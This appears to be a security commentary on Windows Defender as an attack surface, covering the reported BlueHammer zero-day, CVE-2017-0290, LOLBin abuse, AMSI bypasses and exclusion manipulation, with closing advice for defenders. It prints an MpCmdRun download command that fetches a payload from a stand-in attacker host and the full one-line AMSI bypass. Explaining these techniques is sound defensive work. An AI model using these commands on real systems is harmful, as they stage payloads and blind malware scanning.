A reported zero-day dubbed BlueHammer is making the rounds, describing a vulnerability in Windows Defender that attackers can leverage against the very systems the software is meant to protect. The specific technical details are still being verified by the wider community, but the premise itself is not surprising to anyone who has been paying attention to antivirus security research over the last decade.
Security software being weaponized is not a niche edge case. It is a recurring structural problem, and Windows Defender is one of the most exposed targets on the planet.
Why Antivirus Is Such a Rich Target
Antivirus software occupies a uniquely dangerous position on any system. To do its job, it needs to run with elevated privileges, often SYSTEM or kernel level. It needs to parse every file that touches the disk, every script that runs, every network packet in some configurations. And critically, it must process attacker-controlled content, the very files an attacker can craft specifically to exploit the parser.
This combination, maximum privilege plus maximum exposure to untrusted input, is the definition of a high-value attack surface. If you can find a parsing bug in the scanning engine, you get SYSTEM-level code execution with no user interaction required. The victim does not need to open a file. In some configurations, receiving an email is enough.
This is not theoretical. In 2017, Tavis Ormandy and Natalie Silvanovich at Google Project Zero disclosed CVE-2017-0290, a remote code execution vulnerability in MsMpEng.exe, the Microsoft Malware Protection Engine at the core of Windows Defender. The root cause was remarkable: Microsoft had embedded a modified copy of the SpiderMonkey JavaScript engine from roughly 2012 to help Defender analyze potentially malicious scripts. This interpreter ran directly inside MsMpEng.exe, unsandboxed, as SYSTEM. It was processing attacker-controlled JavaScript with a five-year-old JS engine, with no exploit mitigations, at the highest privilege level on the system.
Ormandy’s write-up noted that MsMpEng.exe was reachable from the internet with no user interaction, since Defender automatically scans incoming email and downloaded files. The attack surface was not just local. Anyone who could deliver a file to the machine, via email, a web download, a USB drop, could trigger the vulnerability.
MpCmdRun and the LOLBin Problem
Beyond parsing vulnerabilities in the scanning engine, Defender has contributed to the Living off the Land Binaries (LOLBins) problem. MpCmdRun.exe, the Windows Defender command-line utility, supports a -DownloadFile flag that allows it to fetch arbitrary files from remote URLs:
MpCmdRun.exe -DownloadFile -url https://attacker.example/payload.exe -path C:\path\to\output.exeThis was documented by researchers around 2021 and has been catalogued in the LOLBAS project. The irony is direct: because MpCmdRun.exe is a signed Microsoft binary associated with Defender itself, many application whitelisting controls and security monitoring tools give it implicit trust. An attacker can use it to stage additional payloads while leaving less forensic trace than downloading via a generic utility.
Application whitelisting based purely on publisher signatures or binary reputation is undermined by exactly this pattern. A legitimate tool can perform an illegitimate function if the tool’s feature set is broad enough.
AMSI and the Bypass Ecosystem
The Antimalware Scan Interface (AMSI), introduced in Windows 10, represents Microsoft’s attempt to close a different gap: in-memory execution of malicious scripts. Before AMSI, a PowerShell script that was obfuscated or generated dynamically could slip past Defender because Defender only saw the obfuscated form. AMSI hooks into script interpreters at runtime, passing the deobfuscated, in-memory content to registered security products for scanning.
Within months of AMSI shipping, Matt Graeber published a one-line PowerShell bypass:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)This set an internal flag telling the AMSI implementation that initialization had failed, causing it to silently skip all subsequent scans. Microsoft patched this specific technique, but the bypass ecosystem has continued to evolve. Subsequent techniques have used hardware breakpoints to intercept AMSI calls without modifying memory in ways that integrity checks detect, patched the AmsiScanBuffer function directly, and abused reflection in ways that avoid tripping on specific string signatures.
The cat-and-mouse dynamic here is structural. AMSI’s scanning is signature-driven, and any approach with a fixed implementation can be fingerprinted and evaded. Each patch closes a specific technique while the underlying bypass strategy remains viable.
Exclusions as an Attack Vector
A third category of Defender abuse does not require any vulnerability at all. Windows Defender supports scan exclusions: paths, processes, or file extensions that the engine will skip entirely. These exist for legitimate reasons, performance-sensitive workloads, developer directories with frequently rewritten binaries, antivirus compatibility exceptions.
An attacker who has already gained sufficient access to add registry entries under HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions can register a path as excluded, then drop payloads there without triggering any Defender scan. Combined with a lower-privilege initial foothold, exclusion manipulation converts a partial compromise into a persistent, scan-invisible one.
This is not a bug in the traditional sense. It is a consequence of Defender’s design: a component that can be configured by privileged users will be abused by attackers who achieve privilege. The defense is monitoring for unexpected changes to exclusion lists, which requires a separate security layer watching Defender’s own configuration.
The Pattern Across Security Software
Microsoft is not alone in this. Ormandy’s Project Zero work has found similar classes of vulnerability across essentially every major antivirus product. Symantec’s dec2asm.dll decomposer ran attacker-controlled ASPack bytecode as SYSTEM. F-Secure had a heap overflow when scanning malformed compressed files. Trend Micro’s node.js management interface exposed privileged operations over localhost with no authentication. Kaspersky, Sophos, McAfee: the list is long.
The common thread is that security products parse complex, attacker-influenced content with elevated privilege. File format parsers, decompression routines, JavaScript interpreters, PE file analyzers: all of these are complex code processing untrusted input at the highest privilege rings available. Any one of them can contain a memory corruption bug, a logic error, or an unintended feature that an attacker can reach from outside the machine.
The BlueHammer report, whatever its ultimate technical fidelity, describes something the security community has understood for years: the wider and more powerful the scanning surface, the larger the attack surface you are accepting in exchange.
What Defenders Should Take From This
None of this means antivirus is net negative. The argument that security software introduces more risk than it mitigates is not borne out in practice for most threat models. But it does mean treating security software as implicitly trustworthy infrastructure is wrong.
Defender’s own processes should be monitored for anomalous behavior. Changes to exclusion lists should generate alerts. MpCmdRun.exe network connections should be unexpected in most environments and logged accordingly. AMSI bypass attempts leave observable patterns in PowerShell logs when Script Block Logging is enabled, even if the bypass succeeds.
Microsoft has invested significantly in Defender’s own isolation and sandboxing since the 2017 disclosures, including sandboxing MsMpEng in 2018 as an opt-in feature and later making it more default. But sandboxing the engine changes the privilege of code execution on exploit, it does not eliminate the vulnerability class.
The deeper point is that security components warrant the same adversarial scrutiny as any other code running at elevated privilege. They are not outside the threat model. In some ways, because of their privilege, their parsing complexity, and the implicit trust other tools give them, they sit squarely at the center of it.